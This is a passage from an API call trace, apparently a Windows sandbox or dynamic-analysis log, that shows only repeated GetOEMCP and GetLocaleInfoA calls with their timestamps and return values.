lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.838] GetOEMCP () returned 0x1b5 [0041.838] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.839] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.839] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.840] GetOEMCP () returned 0x1b5 [0041.840] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.841] GetOEMCP () returned 0x1b5 [0041.841] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.842] GetOEMCP () returned 0x1b5 [0041.842] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.843] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.843] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.844] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.844] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.845] GetOEMCP () returned 0x1b5 [0041.845] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.846] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.846] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: 